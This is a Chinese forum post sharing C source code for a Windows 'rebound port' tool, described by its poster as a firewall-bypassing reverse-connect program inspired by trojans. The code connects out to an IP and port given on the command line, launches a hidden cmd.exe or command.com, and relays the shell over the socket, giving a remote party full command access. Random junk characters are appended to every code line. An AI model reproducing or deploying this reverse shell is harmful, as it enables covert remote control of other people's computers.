社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6030阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zL7+HY* 3o  
b,{?+8  
/* ============================== V qYe0-^=P  
Rebound port in Windows NT cdEZ Y  
By wind,2006/7 q@^=im  
===============================*/ T?% F  
#include _{ ?1+  
#include cFuvi^n\  
6lZhV[~Z/  
#pragma comment(lib,"wsock32.lib") 4!E6|N%f  
.|o7YTcR:  
void OutputShell(); zIm$S/Qe*  
SOCKET sClient; `FmI?:Cv  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6BMRl%3>Z  
T4Zp5m")  
void main(int argc,char **argv) A\ LTAp(I  
{ Ct.Q)p-wn  
WSADATA stWsaData; J#JZ^59lOS  
int nRet; AQ-PY  
SOCKADDR_IN stSaiClient,stSaiServer; vU~#6sl  
YZmD:P  
if(argc != 3) i [FBll-  
{ \y<n{"a  
printf("Useage:\n\rRebound DestIP DestPort\n"); G>H&M#7K  
return; .@xwl}o$OL  
} Zcf?4{Kd?  
XmXHs4  
WSAStartup(MAKEWORD(2,2),&stWsaData); Uu3[Cf=C  
-i 6<kF-W  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B8C"i%8V)  
ZpWG  
stSaiClient.sin_family = AF_INET; X,gXgxP\  
stSaiClient.sin_port = htons(0); $XaZqzeVI  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \:O5,wf2  
! .!qJ%  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) C96|T>bk  
{ .|_+>){$w  
printf("Bind Socket Failed!\n"); RdvJA:;q  
return; ]Nm_<%lT  
} {mI95g&  
JLs7[W)O  
stSaiServer.sin_family = AF_INET; &)`A4bf%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3Vt-]DGX  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7@C :4c@0  
Hk.+1^?%  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KcY 2lTvx  
{ jaNkWTm :  
printf("Connect Error!"); )e Ub@Eu  
return; >JnEhVRQJ9  
} ("IRv>} 0  
OutputShell(); C2!POf;GdN  
} L,\ Yj  
f}#pKsX.  
void OutputShell() pn'*w 1i  
{ ?p6+?\H  
char szBuff[1024]; 8Zwq:lV Q  
SECURITY_ATTRIBUTES stSecurityAttributes; gLu#M:4N  
OSVERSIONINFO stOsversionInfo; %tmK6cY4Y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |J~;yO SD  
STARTUPINFO stStartupInfo; >#xpg&2x  
char *szShell; 8[xb+_  
PROCESS_INFORMATION stProcessInformation; O/0m|~`iY  
unsigned long lBytesRead; g$$uf[A-SL  
4Mnne'7  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VNA VdP  
1C'lT,twl  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); hPhN7E03  
stSecurityAttributes.lpSecurityDescriptor = 0; 7GE.>h5  
stSecurityAttributes.bInheritHandle = TRUE; &]uhPx/  
,mjwQ6:Ny  
.GkH^9THP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); r;}kw(ukC  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &OWiA;e?f  
0*,r  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a o\+%s  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x|E$ f+  
stStartupInfo.wShowWindow = SW_HIDE; iB[%5i-  
stStartupInfo.hStdInput = hReadPipe; gdHPi;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; HR)joD*q;[  
#;2Ju'e#z  
GetVersionEx(&stOsversionInfo); `O0v2?/f0  
= V%s^  
switch(stOsversionInfo.dwPlatformId) aBol9`6  
{ u[ "Pg  
case 1: @cSz!E}  
szShell = "command.com";  [T !#s  
break; Q9?/)&3Bu  
default: A1Rt  
szShell = "cmd.exe"; [o\O^d  
break; qnru atA  
} X[BKF8,  
PNc^)|4^Q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m {wMzsQ  
QT^W00h  
send(sClient,szMsg,77,0); wnha c}  
while(1) w^z}!/"]u  
{ >/}v8 k1v  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b pExYyt  
if(lBytesRead) ADlPdkmym  
{ n16,u$|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (g4.bbEm  
send(sClient,szBuff,lBytesRead,0); P\N$TYeH  
}  +'Tr>2V  
else ZuILDevMD  
{ C$ nT&06o  
lBytesRead=recv(sClient,szBuff,1024,0); F8>Fp"  
if(lBytesRead<=0) break; j$Gb> Ex>  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); EKq9m=Ua@o  
} VO[s:e9L  
} !:a pu!  
]J:?@}\^  
return; UPUO8W)<Z6  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八